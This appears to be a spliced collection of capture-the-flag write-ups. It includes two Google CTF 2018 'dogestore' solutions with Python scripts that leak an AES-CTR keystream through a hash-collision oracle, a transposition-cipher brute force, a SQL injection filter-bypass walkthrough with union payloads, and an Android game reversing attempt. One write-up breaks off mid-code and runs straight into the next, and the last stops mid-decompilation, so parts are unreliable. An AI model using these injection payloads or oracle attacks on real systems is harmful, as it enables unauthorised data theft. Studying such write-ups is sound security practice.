# Writeup for Google CTF 2018 Qualification Round - Challenge: **DOGESTORE**- By: _Nguyễn Duy Hiếu_, an undergraduate student from _ACTVN (Academy of Cryptography Techniques, Vietnam)_.- Contact: [email protected] ## Challenge summary There's an `encrypted_secret` and a server that works as follow: 1. Receives 110-byte input.2. Decrypts the input by xor'ing it with a fixed keystream.3. Decodes the decrypted string by interpreting it as `"char, repeat times - 1, char, repeat times - 1, ..."`. For example, `decode("a\x00b\x01c\x02") == "abbccc"`.4. Outputs the SHA3-256 hash of the decoded string. ## The key idea There is more than one way to encode a string if it contains some identical consecutive characters. For example, `"aaa"` can be encoded as `"a\x02"` or `"a\x01a\x00"` or `"a\x00a\x01"` or `"a\x00a\x00a\x00"`. Knowing this fact, we could learn something about the secret keystream by examining the cases in which different inputs are fed to the server but same hash returned. ## Solution Since the challenge's code is written in Rust which I am not used to, the basic operations of the server will be reimplemented in Python 3: ```pythonKEY_SIZE = 110KEYSTREAM = bytearray(KEY_SIZE)def decrypt(encrypted): return bytes(a ^ b for a, b in zip(encrypted, KEYSTREAM)) def decode(encoded): s = b'' for i in range(0, len(encoded), 2): s += bytes([encoded[i]]) * (encoded[i+1] + 1) return s from hashlib import sha3_256def hash(data): return sha3_256(data).digest()``` Next, let's define some functions which might be useful for us: ```pythondef make_data(*ivvs): '''This function returns 110-byte data, default to all zeros. User can specify some (index, value_1, value_2)'s to modify the data as needed. ''' data = bytearray(110) for ivv in ivvs: data[ivv[0]] = ivv[1] data[ivv[0]+1] = ivv[2] return bytes(data) from socket import create_connectionADDR = ('dogestore.ctfcompetition.com', 1337)def post(data): 'This function posts data to the server and returns the hash received' while True: try: sock = create_connection(ADDR) sock.send(data) return sock.recv(4096) except: pass def post_data(*ivvs): return post(make_data(*ivvs))``` ### Key leakage #### Even-indexed bytes Let the first 4 bytes of an input data be `0, 0, x, 0` (Figure 1). If `x == k[0] XOR k[2]` then the corresponding decypted byte `x XOR k[2]` will be `k[0]`, same as the first one, and the decrypted string will be decoded into something which has `k[1] + k[3] + 2` letter `k[0]`'s at the beginning. Now, we have a chance to modify the first and third byte of the input data (`d[0]`, `d[2]`) without changing the decoded string. If `(d[1] XOR k[1]) + (d[3] XOR k[3]) == k[1] + k[3]`, things will be as expected. ![input_process](imgs/data_processing.png) _Figure 1: The processing of an input with the first 4 bytes: `0, 0, x, 0`._ Recall that `a XOR 1` is equal to `a + 1` or `a - 1`, depends on the least significant bit (LSB) of `a`, so `(k[1] XOR 1) + (k[3] XOR 1) == k[1] + k[3]` if the LSB's of `k[1]` and `k[3]` are different. In case the LSB's are equal, `(k[1] XOR 1) + k[3]` must be the same as `k[1] + (k[3] XOR 1)`. Therefore, if we could find an `x` such that:`post_data((0, 0, 0), (2, x, 0)) == post_data((0, 0, 1), (2, x, 1))` or `post_data((0, 0, 1), (2, x, 0)) == post_data((0, 0, 0), (2, x, 1))` then `x` must be equal to `k[0] XOR k[2]` (Figure 2) or, we would otherwise detect a SHA3-256 collision which seems impossible. ![k0 xor k2 leak](imgs/k0_xor_k2_leak.png) _Figure 2: `k[0] XOR k[2]` leak._ In a similar way, we could find out `k[2] XOR k[4]`, `k[4] XOR k[6]`, `k[6] XOR k[8]`,... if we want. #### Odd-indexed bytes Now, since `a XOR 2^i` is equal to `a + 2^i` or `a - 2^i`, depends on the i-th bit of `a`, it follows that `(a XOR 2^i) + (b XOR 2^i) == a + b` if and only if the two i-th bits of `a` and `b` are different. Using this fact, we could find out if the two i-th bits of `k[1]` and `k[3]` are equal or not for `i = 0,1,2,...,7` (Figure 3), then derive `k[1] XOR k[3]`. ![k1 xor k3 leak](imgs/k1_xor_k3_leak.png) _Figure 3: `k[1] XOR k[3]` leak._ Again, we could obtain `k[3] XOR k[5]`, `k[5] XOR k[7]`,... if we want. #### Putting it all together Now, connect to the server, get all `k[i] XOR k[i+2]`'s and store them in a bytearray named `DELTA`: ```pythonDELTA = bytearray(KEY_SIZE - 2)for i in range(0, len(DELTA), 2): print('Currnet index: {}/{}'.format(i, KEY_SIZE-2)) # brute force x to find k[i] XOR k[i+2] for x in range(256): print('Trying x = {}... '.format(x), end='') _a = post_data((i, 0, 0), (i+2, x, 0)) _b = post_data((i, 0, 1), (i+2, x, 1)) if _a == _b: DELTA[i] = x DELTA[i + 1] = 1 # the two LSB's are different break _c = post_data((i, 0, 1), (i+2, x, 0)) _d = post_data((i, 0, 0), (i+2, x, 1)) if _c == _d: DELTA[i] = x DELTA[i + 1] = 0 # the two LSB's are equal break print('Not matched!') print('Matched!') print('k[{}] XOR k[{}] = {}'.format(i, i+2, x)) # find k[i+1] XOR k[i+3] for j in range(1,8): # the 0-th bit (LSB) case has been done. _e = post_data((i, 0, 1<
[Original Writeup](https://dope-beats.com/markdown/transposed) # Transposed [100] In this challenge we are given a few lines of python and an output file. ```pythonimport random W = 7perm = range(W)random.shuffle(perm) msg = open("flag.txt").read().strip()while len(msg) % (2*W): msg += "." for i in xrange(100): msg = msg[1:] + msg[:1] msg = msg[0::2] + msg[1::2] msg = msg[1:] + msg[:1] res = "" for j in xrange(0, len(msg), W): for k in xrange(W): res += msg[j:j+W][perm[k]] msg = resprint msg``` Output file:```L{NTP#AGLCSF.#OAR4A#STOL11__}PYCCTO1N#RS.S``` The python script reads in the flag, pads it with `.` so that the length is a multiple of 14, and then shuffles the characters around. To get a feel for how the algorithm works, we can first run the script with our own input, and print out the intermediate values. ```python# --snip--msg = "ABCDEFGHIJKLMN"while len(msg) % (2*W): msg += "." for i in xrange(100): print(msg) # --snip--``` After running the script a few times to get different permutations, we notice that sometimes the output repeats very quickly, and we see that the shuffling tends to undo itself. ```ABCDEFGHIJKLMNDNHFCLJEAIGBMKFKELHBICDAJNMGLGCBENAHFDIKMJBJHNCKDELFAGMINIEKHGFCBLDJMAKACGEJLHNBFIMDGDHJCIBEKNLAMFJFEIHANCGKBDMLILCAEDKHJGNFMB--snip--ABCDEFGHIJKLMN <- Original input``` We can check with grep to see if this always happens, and indeed it looks like the pattern always undoes itself, even though sometimes it takes many iterations. ```python encrypt.py | grep ABCDEFGABCDEFGHIJKLMNABCDEFGHIJKLMNABCDEFGHIJKLMN``` So now all we have to do is figure out what the original `perm` array was set to. If we can get the right values for this array, we can simply run the `encrypt.py` script with the output data and print out intermediate values which look like possible flags. Luckily there are only `7! == 5040` possible permutations of `perm` so we can easily brute force this. ```pythonimport randomimport itertoolsimport re W = 7original_msg = open("output").read().strip()while len(original_msg) % (2*W): original_msg += "." for perm in itertools.permutations(range(W)): msg = original_msg for i in xrange(100): if re.match(r"^FLAG{.*}\.\.$", msg): print(msg) # --snip--``` The script takes a few seconds to check all possible permutations, and sure enough at some point the encryption algorithm undoes itself and we get the flag. ```python decrypt.pyFLAG{##CL4SS1CAL_CRYPTO_TRANSPOS1T1ON##}..FLAG{##CL4SS1CAL_CRYPTO_TRANSPOS1T1ON##}..FLAG{##CL4SS1CAL_CRYPTO_TRANSPOS1T1ON##}..```
[https://github.com/mohamedaymenkarmous/CTF/tree/master/CCAFinals2018#sockpuppet](https://github.com/mohamedaymenkarmous/CTF/tree/master/CCAFinals2018#sockpuppet)
# GoogleCTF 2018: dogestore * **Category:** crypto* **Points:** 267* **Description:** > Secret Cloud Storage System: This is a new system to store your end-to-end> encrypted secrets. Now with SHA3 integrity checks!>> `nc dogestore.ctfcompetition.com 1337`>> [\[Attachment\]](https://storage.googleapis.com/gctf-2018-attachments/d9a4d2232d40353fa6160ccf0c6f9a51f0afa75d65dc3c835230e00773f01730) ## Writeup As with the last two years, Google hosted another Capture the Flag competition.This time the challenges were quite hard, but also lots of fun to solve. We,"LosFuzzys", teamed up with the Viennese CTF team "We\_0wn\_You" and playedtogether under the name "KuK Hofhackerei". We didn't solve this challenge in time, but our exploit did finish executing afew hours after the CTF closed. ## The Challenge At first we tried looking at the attached files. There were two files: - a `fragments.rs` Rust source file- an `encrypted_secret` binary file The objective was to recover the plaintext contents of the `encrypted_secret`file. We can also send an encrypted file to the server and have it decrypt and decodethe file. It will then send back the base64-encoded SHA3 hash of the decodeddata. Here are the contents of the Rust file: ```rustconst FLAG_SIZE: usize = 56;const FLAG_DATA_SIZE: usize = FLAG_SIZE * 2; #[derive(Debug, Copy, Clone)]struct Unit { letter: u8, size: u8,} fn deserialize(data: &Vec<u8>) -> Vec<Unit> { let mut secret = Vec::new(); for (letter, size) in data.iter().tuples() { secret.push(Unit { letter: *letter, size: *size, }); } secret} fn decode(data: &Vec<Unit>) -> Vec<u8> { let mut res = Vec::new(); for &Unit { letter, size } in data.iter() { res.extend(vec![letter; size as usize + 1].iter()) } res} fn decrypt(data: &Vec<u8>) -> Vec<u8> { key = get_key(); iv = get_iv(); openssl::symm::decrypt( openssl::symm::Cipher::aes_256_ctr(), &key, Some(&iv), data ).unwrap()} fn store(data: &Vec<u8>) -> String { assert!( data.len() == FLAG_DATA_SIZE, "Wrong data size ({} vs {})", data.len(), FLAG_DATA_SIZE ); let decrypted = decrypt(data); let secret = deserialize(&decrypted); let expanded = decode(&secret); base64::encode(&compute_sha3(&expanded)[..])}``` ## The Code It seems this code is part of the server. The `store(data)` function seems to be themain entry point where the sent data is processed. After a bit of experimenting with the service, we found out that the `data`variable is the raw input we send to the server. However, we noticed that the server reads *110* bytes, not the *112* bytesstated in the `FLAG_DATA_SIZE` constant. Once there, it gets processed in multiple steps: - `decrypt(data)`: our data is decrypted with AES-256 in CTR mode with an unknown key and nonce- `deserialize(decrypted)`: an array of `Unit`s is constructed from the decrypted data, representing a byte and a count (how often the byte should be repeated). This is a kind of [run-length-encoding](https://en.wikipedia.org/wiki/Run-length_encoding)- `decode(secret)`: the run-length-encoding is decoded, but a count of zero here means one. In fact, every count is increased by one- `compute_sha3(expanded)`: the decoded data is hashed with the SHA3 hashing algorithm. The exact algorithm used here doesn't matter much, the important thing to note is that it's a one-way function, and we can only test if the hash changed or not.- `base64::encode(hash)`: afterwards, the hash digest is base64 encoded and sent back over the wire. ## The Vulnerability Looking at the steps, it doesn't look that bad, but after a little bit of tryingaround, it seems that *the nonce used for decryption is constant* and reusedevery time we send something to the server. This is a glaring vulnerability, asa nonce should only ever be used once. ![AES CTR mode](https://upload.wikimedia.org/wikipedia/commons/3/3c/CTR_decryption_2.svg) (*Image by Gwenda (PNG version), WhiteTimberwolf (SVG version) [Public domain],via Wikimedia Commons*) As you can see, the ciphertext is XOR-ed with an XOR-pad generated by encryptingthe nonce and counter with the key. This XOR-pad is completely independent fromthe ciphertext and plaintext, and thus constant. Also, the ciphertext is merely XOR-ed with that XOR-pad, so every bit-flip weintroduce in the ciphertext is exactly replicated in the decrypted plaintext atexactly that offset. Moreover, decrypting only null-bytes yields the XOR-pad. This alone is not enough to expose the key, as we only get a hash of the decodedkey. However, we can abuse a property of the run-length-encoding to producehash-collisions. Here is an example: ``` letter: 'A' | | count: 6 times 6 times | | decode ------ SHA3 + base64 0x41 0x05 0x41 0x02 =========> AAAAAAAAA ==> 9 times ================> PRZqCLkb9WfZtPBvGBAbw4knLYl482IOxMiXwUWURqw= | | --- | count: 3 times 3 times ^ | | letter: 'A' | same hash! | letter: 'A' | | | | count: 5 times 5 times v | | decode ----- SHA3 + base64 0x41 0x04 0x41 0x03 =========> AAAAAAAAA ==> 9 times ================> PRZqCLkb9WfZtPBvGBAbw4knLYl482IOxMiXwUWURqw= | | ---- | count: 4 times 4 times | letter: 'A'``` The reason this works is that during decoding, adjacent letter blocks are justconcatenated, and if two letter blocks consist only of the same letter, afterconcatenation, it's impossible to distinguish how many of the letters came fromwhich block. Also, it doesn't matter what the actual count is: Simply decreasing one countand increasing the other should not change the length of the decoded text, andif the letters are the same, the hash should stay the same as well. ## The Attack Sadly, we cannot reliably decrease or increase bytes in the decrypted data,only flip bits. If we flip the lowest-order bit, two things can happen: - the value *increases* by one if the bit was unset aka the value was *even*- the value *decreases* by one if the bit was set aka the value was *odd* This means that if we flip both counts' lowest-order bits the length eitherdoesn't change at all (which is what we want) if the lowest-order bits *differ*(i.e. one is even and the other is odd) or the length increases or decreases bytwo if the lowest-order bits are the same (i.e. both are even or both are odd). From that, we can formulate the following attack to recover the XOR between twoadjacent `Unit`s: ### Recovering the Letter XOR ``` guessed letter XOR |sent data: 0x00 0x00 guess 0x00decrypted: let1 cnt1 decr cnt2 => base1_hash sent data: 0x00 0x01 guess 0x01decrypted: let1 cnt1 decr cnt2 => test1_hash ^ ^ flipped lowest-order bit guessed letter XOR flipped lowest-order bit | vsent data: 0x00 0x00 guess 0x01decrypted: let1 cnt1 decr cnt2 => base2_hash sent data: 0x00 0x01 guess 0x00decrypted: let1 cnt1 decr cnt2 => test2_hash ^ flipped lowest-order bit``` In this attack, `let1`, `cnt1`, `let2`, and `cnt2` represent bytes from thedecryption XOR-pad, interpreted as a letter or count when sending an (almost)all zeroes ciphertext. `decr` is the XOR between `guess` and `let2`. If we guessed the XOR between `let1` and `let2` correctly, `decr` will be equalto `let1`, and the vulnerable situation described above will occur.Consequently, if `cnt1` and `cnt2` differ in their lowest-order bit, then`base1_hash` and `test1_hash` will be equal. If they are both even or both odd,then `base2_hash` and `test2_hash` will be equal. If we guessed incorrectly, neither of the pairs will be equal. This means that in as little as `256*4` (worst-case) attempts, we can recoverthe XOR between two adjacent letter bytes. (adjacent in this context meanslocated in adjacent `Unit`s) For recovering the XOR between count bytes, a few more hashes are necessary: ### Recovering the Count XOR ``` recovered letter XOR |sent data: 0x00 0x00 lxor 0x00decrypted: let1 cnt1 let1 cnt2 => base1_hash sent data: 0x00 pow lxor powdecrypted: let1 cnt1 let1 cnt2 => test_bit_hash ^ ^ flipped nth bit``` Here, `lxor` is the recovered letter XOR from above and `pow` is the nth powerof two. If `cnt1` and `cnt2` differ in their nth bit, then `test_bit_hash` will be thesame as `base1_hash`. We don't have to request `base1_hash` since it is the sameas in the last iteration of the above attack for guessing the letter XOR. Therefore, 7 more attempts are required to recover the XOR between two adjacentcount bytes. ### Chaining the attack To attack different parts of the decryption XOR-pad the attack payload can beprepended and appended with anything (we chose zeroes) to move the payload tooverlap the attacked two units. After attacking each pair, the XOR between two letter and count bytesrespectively is known. Knowledge of the preceding and following letter andcount XOR values is not needed, so the attack can be trivially distributed andparallelized. The limiting factor is the speed of the attacked server. These are the recovered letter and count XOR values: ```>> letter xors[ 191, 119, 132, 188, 171, 242, 33, 15, 50, 0, 32, 130, 110, 51, 57, 36, 108, 223, 132, 48, 58, 47, 190, 144, 54, 115, 250, 91, 13, 16, 25, 193, 178, 26, 115, 140, 231, 65, 99, 180, 221, 121, 92, 206, 16, 64, 152, 181, 231, 228, 136, 149, 177, 237]>> count xors[ 73, 144, 186, 217, 118, 36, 95, 211, 27, 42, 53, 201, 159, 255, 22, 105, 94, 172, 128, 119, 170, 28, 157, 183, 114, 107, 49, 248, 147, 241, 153, 129, 199, 37, 51, 84, 250, 35, 235, 225, 197, 205, 41, 230, 129, 107, 248, 35, 197, 142, 58, 204, 52, 21]``` ### Offline Decryption After recovering all letter and count XOR values the only missing pieces are thefirst letter byte and the first count byte. When these are known, any payloadencrypted with the key can be decrypted. Fortunately, we know that the decrypted secret must contain the text `CTF{`,since a flag must be in there somewhere. Using this, we first guess the first letter key byte (256 possibilities) andignore the run-length count (always take each letter once). For each possibledecryption that contains `CTF{` we then guess the first count byte (256possibilities), looking for decryptions that contain `CTF{` even afterrun-length-decoding (as opposed to e.g. `CCCCCTTFF{{{{{{{`). Finally, we got out the decrypted data: ```b'HFHFHHHDHDHDDDDDDSSSSSSSAAAAaAAAAAACTF{{{SADASDSDCTF{LLLLLLLLL___EEEEE____RRRRRRRRRRR_OYYYYYYYYYY_JEEEEEEENKKKINNSSS}ASDDDDDDDCTF{{{{{\n'``` and the flag:`CTF{LLLLLLLLL___EEEEE____RRRRRRRRRRR_OYYYYYYYYYY_JEEEEEEENKKKINNSSS}` The correct decryption XOR-pad was this: ```[ 174, 22, 17, 95, 102, 207, 226, 117, 94, 172, 245, 218, 7, 254, 38, 161, 41, 114, 27, 105, 27, 67, 59, 118, 185, 191, 215, 32, 228, 223, 221, 201, 249, 160, 149, 254, 74, 82, 206, 210, 254, 165, 196, 15, 235, 19, 85, 142, 197, 57, 243, 75, 128, 32, 122, 17, 33, 233, 44, 122, 60, 139, 37, 18, 228, 147, 86, 84, 76, 113, 63, 66, 179, 22, 84, 236, 21, 207, 118, 36, 194, 197, 31, 0, 102, 205, 58, 228, 244, 2, 228, 131, 164, 232, 60, 16, 137, 51, 110, 246, 138, 120, 2, 66, 151, 142, 38, 186, 203, 175]``` ## The Script This is the cleaned-up exploit script we used to recover the flag: ```pythonfrom pwn import *import base64 FLAG_SIZE = 55FLAG_DATA_SIZE = FLAG_SIZE * 2 bord = lambda code: bytes([code]) class Unit: """ Represents a letter with run length encoding count """ def __init__(self, letter, size): self.letter = letter self.size = size def __repr__(self): return "<{}*{}>".format(bytes([self.letter]), self.size + 1) def crypt(data, key): """ Encrypts the data with the specified xorpad key (xorpad generated by AES_256_CTR) """ return bytes(data[i] ^ key[i] for i in range(FLAG_DATA_SIZE)) def deserialize(data): """ Construct Unit instances from bytestream Every second byte is a repeat length """ units = [] for i in range(0, len(data), 2): units.append(Unit(data[i], data[i + 1])) return units def decode(units): """ Decode run length encoding (zero length decodes as one) """ res = b"" for unit in units: res += bytes([unit.letter]) * (unit.size + 1) return res def decode_without_runlength(units): """ Decode without applying run length encoding Useful for checking flag plausibility """ res = b"" for unit in units: res += bytes([unit.letter]) return res def decrypt_and_hash(data): """ Connect to the remote and decrypt and hash some chosen ciphertext """ r = remote("dogestore.ctfcompetition.com", 1337) r.send(data) b64 = r.readall() return base64.b64decode(b64) with open("encrypted_secret", "rb") as f: secret = f.read() letter_xors = [None] * (FLAG_SIZE - 1)count_xors = [None] * (FLAG_SIZE - 1) def xor_payload(offset, l1, c1, l2, c2): """ Generate a payload used for finding the XOR difference between neighboring letters and run length counts """ return ( b"\0" * offset + bord(l1) + bord(c1) + bord(l2) + bord(c2) + b"\0" * (FLAG_DATA_SIZE - (offset + 4)) ) def find_xor(offset): """ Infer the XOR difference between two letters and run length counts in the raw AES_256_CTR xorpad (This is where the real magic happens) Runs in worst case 256*4 + 7 decrypt/hash iterations """ letter_xor = None count_xor = None for letter_xor_try in range(256): print(".", end = "") base_hash = decrypt_and_hash(xor_payload(offset, 0, 0, letter_xor_try, 0)) test_hash = decrypt_and_hash(xor_payload(offset, 0, 1, letter_xor_try, 1)) if base_hash == test_hash: letter_xor = letter_xor_try count_xor = 1 break base2_hash = decrypt_and_hash(xor_payload(offset, 0, 0, letter_xor_try, 1)) test2_hash = decrypt_and_hash(xor_payload(offset, 0, 1, letter_xor_try, 0)) if base2_hash == test2_hash: letter_xor = letter_xor_try count_xor = 0 break if letter_xor == None: print() return None, None for bit in range(1, 8): print(".", end = "") power = 1 << bit test_bit_hash = decrypt_and_hash(xor_payload(offset, 0, power, letter_xor, power)) if test_bit_hash == base_hash: count_xor |= power print() return letter_xor, count_xor def find_all_xor(): """ Find all XOR differences in the AES_256_CTR xorpad Narrows down the key space to 256*256 possibilities """ for i in range(0, FLAG_SIZE - 1): print(">> {}".format(i)) print(">> letter xors") print(letter_xors) print(">> count xors") print(count_xors) letter_xor, count_xor = find_xor(2 * i) letter_xors[i] = letter_xor count_xors[i] = count_xor def find_plausible(): """ Find plausible values for the first xorpad letter and first run length count and prints potential flags when it finds them Runs completely offline """ key = [0] * FLAG_DATA_SIZE for start_letter_xor in range(256): key[0] = start_letter_xor for i, xor in enumerate(letter_xors): key[2 * (i + 1)] = key[2 * i] ^ xor decr = crypt(secret, key) units = deserialize(decr) deco_wr = decode_without_runlength(units) if b"CTF{" in deco_wr: print(">> plausible letter xor: {:02x}".format(start_letter_xor)) for start_count_xor in range(256): key[1] = start_count_xor for i, xor in enumerate(count_xors): key[2 * (i + 1) + 1] = key[2 * i + 1] ^ xor decr = crypt(secret, key) units = deserialize(decr) deco = decode(units) if b"CTF{" in deco: print(">> plausible count xor: {:02x}".format(start_count_xor)) print(">> key") print(key) print(deco) context.log_level = "ERROR"find_all_xor()print(">> letter xors")print(letter_xors)print(">> count xors")print(count_xors)find_plausible()```
We are presented with a simple blog with search being pretty much its only funcionality, so the first thing to check for would be vulnerability to SQL injection. * The SQL injection can be confirmed with a payload like *%'#*.* It seems that errors are not displayed as a payload like *'* which should cause an error, returns an empty result. ## Filters and bypasses I'll present some of the filters and the bypasses used to search the database for the flag. It's possible that some of the bypasses are database dependant, in that case it was MySQL. [That post](https://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/) was helpful with getting some of the ideas. Note that some of the filters would only apply to lowercase words and could be easily bypassed by switching the case of a single charachter, for example Table_name instead of table_name. Below are filters that couldn't have been bypassed by switching case. * Whitespace charachters, all of them (including tab and new line): Often can be bypassed with brackets *()*.* *where* keyword: Usually can be replaced with *having*, but because of its different semantics, sometimes a subquery would be needed to get an equivalent result.* *and*, *or* keywords: Replaced by *&&* and *||*.* *limit*: May no be a problem but was a problem in our case because only a single search result would get displayed. So the bypass was to use range queries in order to get the subsequent results that we needed. ## Exploitation ### 1. Getting the number of columns needed The payload is `qqq%'uNion(sElect(1))#`*qqq* is to not get results from the left part of the union.The weird case is to bypass only-lower-case keyword filters. The result of the query actually displayed 1, meaning that only a single column can and should be selected in the right part of the union. ### 2. Getting the needed table name Getting a random table name: `qqq'uNion(sElect(taBle_name)from(infOrmation_schema.tables))#`That payload returned *CHARACTER_SETS*.With that table name we can start creating range queries, first a one sided one: `qqq'uNion(sElect(tabLe_name)from(infOrmation_schema.tables)having((taBle_Name)>('CHARACTER_SETS')))#`That returned *COLLATIONS* and with that name we can create a two sided range query to get a table in between them if exists: `qqq'uNion(sElect(tAble_name)from(infOrmation_schema.tables)having((table_Name)>('CHARACTER_SETS')&&(table_Name)<('COLLATIONS')))#` With that enumeration process we get the suspiciously named *FL@g* table. ### 3. Getting the column name That's a similar to the table name enumeration process, except that the query is slightly more complicated:`qqq'uNion(sElect(t.cOlumn_name)from(sElect(cOlumn_name),(table_namE)from(infOrmation_schema.COLUMNS)having(table_namE)=('FL@g'))t)#`There's a subquery involved because the *having* keyword can only be used on columns that are being selected and we actually want to select and display another one. In a similar enumeration process with range queries we get the needed column, also named *FL@g* ### 4. Selecting the flag That's usually trivial but in this case the table name contained a special charchter - at sign(@), which should be escaped with backticks(\`):qqq'uNion(sElect(\`FL@g\`)from(\`FL@g\`))# That returned the flag.
## 101 You Already Know ## (warmup) **No files provided** **Description** > You already know the answer here.> > **Seriously**, *if you can read this*, you already have the flag.> > Submit it! (More or less, I don't remember the exact wording.) **Solution** After trying to paste various pieces of the text into the flag submission box, and being annoyed (because PoW + timeouts), I finally thought about the challenge a bit more. The rules clearly said flags are always in the format `OOO{...}` unless stated otherwise in the description. So after having tried the literal `OOO{...}`, I checked the web inspector. The HTML for the description box did not contain anything interesting. However, there was a delay between opening the description box and the text loading - clearly the data was loaded asynchronously via AJAX, which enabled the challenges to be revealed by the organisers whenever without having to reload the website. So, recording the network activity, opening the challenge description triggers a request whose response contained `OOO{Sometimes, the answer is just staring you in the face. We have all been there}`. It was marked as a comment so the respone parser would not even put it into the HTML.
## General problem description ```Win the game 1,000,000 times to get the flag.``` For this challenge we got an .apk file, which we should apperently run and win 1,000,000 times. We let the online Java-decompiler at `http://www.javadecompilers.com/apk`. Running the apk on an Android-Phone or emulator shows us the game: Tic Tac Toe. We also get a counter `0/1000000` on the bottom of the screen. Each win increases the counter by one. ## Naive approach by recompiling the app We used the decompiled code from `http://www.javadecompilers.com/apk` and analyzed the generated code. The code consists of 4 Java classes and one native library. Let us first look at the Java-classes: * C0644N.java: The class is just a wrapper that loads the native library and holds a few float-arrays```javaclass C0644N { static final int[] f2334a = new int[]{0, 1, 0}; static final int[] f2335b = new int[]{1, 0, 2}; static final int[] f2336c = new int[]{2, 0, 1}; static final int[] f2337d = new int[]{3, 0, 0}; static final int[] f2338e = new int[]{4, 1, 0}; static final int[] f2339f = new int[]{5, 0, 1}; static final int[] f2340g = new int[]{6, 0, 0}; static final int[] f2341h = new int[]{7, 0, 2}; static final int[] f2342i = new int[]{8, 0, 1}; static { System.loadLibrary("rary"); } static native Object m3217_(Object... objArr);}```* C0649a.java: This class is responsible for displaying the cells in the Tic Tac Toe field```javapublic class C0649a extends RelativeLayout { ...}```* C0652b.java: This class is responisble for the fade in and out of the symbols in the Tic Tac Toe cells```javapublic class C0652b { ...}```* GameActivity.java: This is the main activity of the App and holds most of the App logic. Here are important passages of the class file together with comments as to what we assumed they do:```javapublic class GameActivity extends C0433c implements OnClickListener { C0649a[][] f2327l = ((C0649a[][]) Array.newInstance(C0649a.class, new int[]{3, 3}));// initialises the Cells ... Object f2329n = C0644N.m3217_(3, C0644N.f2341h, Long.valueOf((((((((1416127776 + 1869507705) + 544696686) + 1852403303) + 544042870) + 1696622963) + 544108404) + 544501536) + 1886151033)); ... byte[] f2332q = new byte[32];// empty byte array byte[] f2333r = new byte[]{(byte) -61, (byte) 15, (byte) 25, (byte) -115, (byte) -46, (byte) -11, (byte) 65, (byte) -3, (byte) 34, (byte) 93, (byte) -39, (byte) 98, (byte) 123, (byte) 17, (byte) 42, (byte) -121, (byte) 60, (byte) 40, (byte) -60, (byte) -112, (byte) 77, (byte) 111, (byte) 34, (byte) 14, (byte) -31, (byte) -4, (byte) -7, (byte) 66, (byte) 116, (byte) 108, (byte) 114, (byte) -122};// pre-filled byte array public GameActivity() { C0644N.m3217_(3, C0644N.f2342i, this.f2329n, this.f2332q);// calls the native function ... } C0649a m3210a(List<C0649a> list) { return (C0649a) list.get(((Random) this.f2329n).nextInt(list.size()));// casts the object got from the native funktion to random and uses it to choose the next cell for the app } ... //this function is called after 1,000,000 wins void m3214m() { Object _ = C0644N.m3217_(0, C0644N.f2334a, 0);//native call Object _2 = C0644N.m3217_(1, C0644N.f2335b, this.f2332q, 1);//native call C0644N.m3217_(0, C0644N.f2336c, _, 2, _2);//native call ((TextView) findViewById(R.id.score)).setText(new String((byte[]) C0644N.m3217_(0, C0644N.f2337d, _, this.f2333r)));//print result of native call ... } //this function is called if the player wins void m3215n() { ... this.f2330o++;//increase counter Object _ = C0644N.m3217_(2, C0644N.f2338e, 2);//native call C0644N.m3217_(2, C0644N.f2339f, _, this.f2332q);//native call this.f2332q = (byte[]) C0644N.m3217_(2, C0644N.f2340g, _);//native call if (this.f2330o == 1000000) {// wuhuuu 1,000,000 wins m3214m(); return; } ((TextView) findViewById(R.id.score)).setText(String.format("%d / %d", new Object[]{Integer.valueOf(this.f2330o), Integer.valueOf(1000000)})); } ...}```We took this class and simply called the win-method 1,000,000 times and then the win method. To get the result we changed `((TextView) findViewById(R.id.score)).setText(...)` with `System.out.println(...)` calls, so we get the flag in the console. Finally we wrapped all that into a simple Aktivity and tried it out.```javaGameActivity gameActivity = new GameActivity();for(int i = 0; i < 1000000; i++) gameActivity.m3215n();```We tried it on 2 different Android devices(ARM based) and the x86_64 emulator of Android Studios. Each run took some time(~20 minutes). All of those resulted in garbage being printed. ## Hey don't forget `Random` After our first tries failed we looked over the GameActivity-class and noticed we forgot the `nextInt`-calls. The `Random`-object is fetched from the native-library so it is theoretically possible, that either the state of the `Random`-object is important for the native library or the `nextInt` is overloaded inside of the native-library and does something special. Looking through the code we found that the `nextInt`-method has to be called twice before we can theoretically win, so we add the 2 calls at the start of every "win"-method. The result was exactly the same as before. There was no change in the output. ## Diving deep into the native library We started by loading the native library into IDA and decompiling it.It is important to note, that we created the first argument to a `JNI**`-type, which we modeled after the `jni.h`. We did not model the whole struct, as there are multiple hundred of function-pointers defined in there and we only defined the ones actually needed.```cvoid* __fastcall Java_com_google_ctf_shallweplayagame_N__1(JNI **env, void* arg1, void* arg2){... if ( !initialized ) { init_data(); initialized = 1; } v4 = 0LL; LODWORD(third_arg_array_ele0) = ((int (__fastcall *)(JNI **, void*, _QWORD))(*env)->GetObjectArrayElement)(env, arg2_1, 0LL); third_arg_array_ele0_1 = third_arg_array_ele0; LODWORD(Integer_class) = ((int (__fastcall *)(JNI **, const char *))(*env)->FindClass)(env, "java/lang/Integer"); if ( Integer_class ) { LODWORD(Integer_intValue) = ((int (__fastcall *)(JNI **, void*, const char *, const char *))(*env)->GetMethodID)(env, Integer_class, "intValue", "()I"); if ( Integer_intValue ) v4 = call_method(env, third_arg_array_ele0_1, Integer_intValue, Integer_intValue, v9, v10, v36); else v4 = 0LL; } LODWORD(class_def) = ((int (__fastcall *)(JNI **, void*))(*env)->FindClass)(env, class_table[v4]); LODWORD(parameter2) = ((int (__fastcall *)(JNI **, void*, signed __int64))(*env)->GetObjectArrayElement)(env, arg2_1, 1LL); v14 = 0; LODWORD(parameter2_int_arr) = ((int (__fastcall *)(JNI **, void*, _QWORD))(*env)->GetIntArrayElements)( env, parameter2, 0LL); array2_0 = *parameter2_int_arr; LODWORD(parameter2_int_arr_2) = ((int (__fastcall *)(JNI **, void*, _QWORD))(*env)->GetIntArrayElements)(env, parameter2, 0LL); array2_1 = *(_DWORD *)(parameter2_int_arr_2 + 4); LODWORD(parameter2_int_arr_3) = ((int (__fastcall *)(_QWORD, _QWORD, _QWORD))(*env)->GetIntArrayElements)( env, parameter2, 0LL); array2_2 = *(_DWORD *)(parameter2_int_arr_3 + 8); LODWORD(object_class_) = ((int (__fastcall *)(JNI **, const char *))(*env)->FindClass)(env, "java/lang/Object"); arg2_1_length = ((int (__fastcall *)(JNI **, void*))(*env)->GetArrayLength)(env, arg2_1); v24 = 3 - (array2_1 != 0 || array2_2 == 2); LODWORD(object_array) = ((int (__fastcall *)(JNI **, _QWORD, void*, _QWORD))(*env)->NewObjectArray)( env, (unsigned int)(arg2_1_length - v24), object_class_, 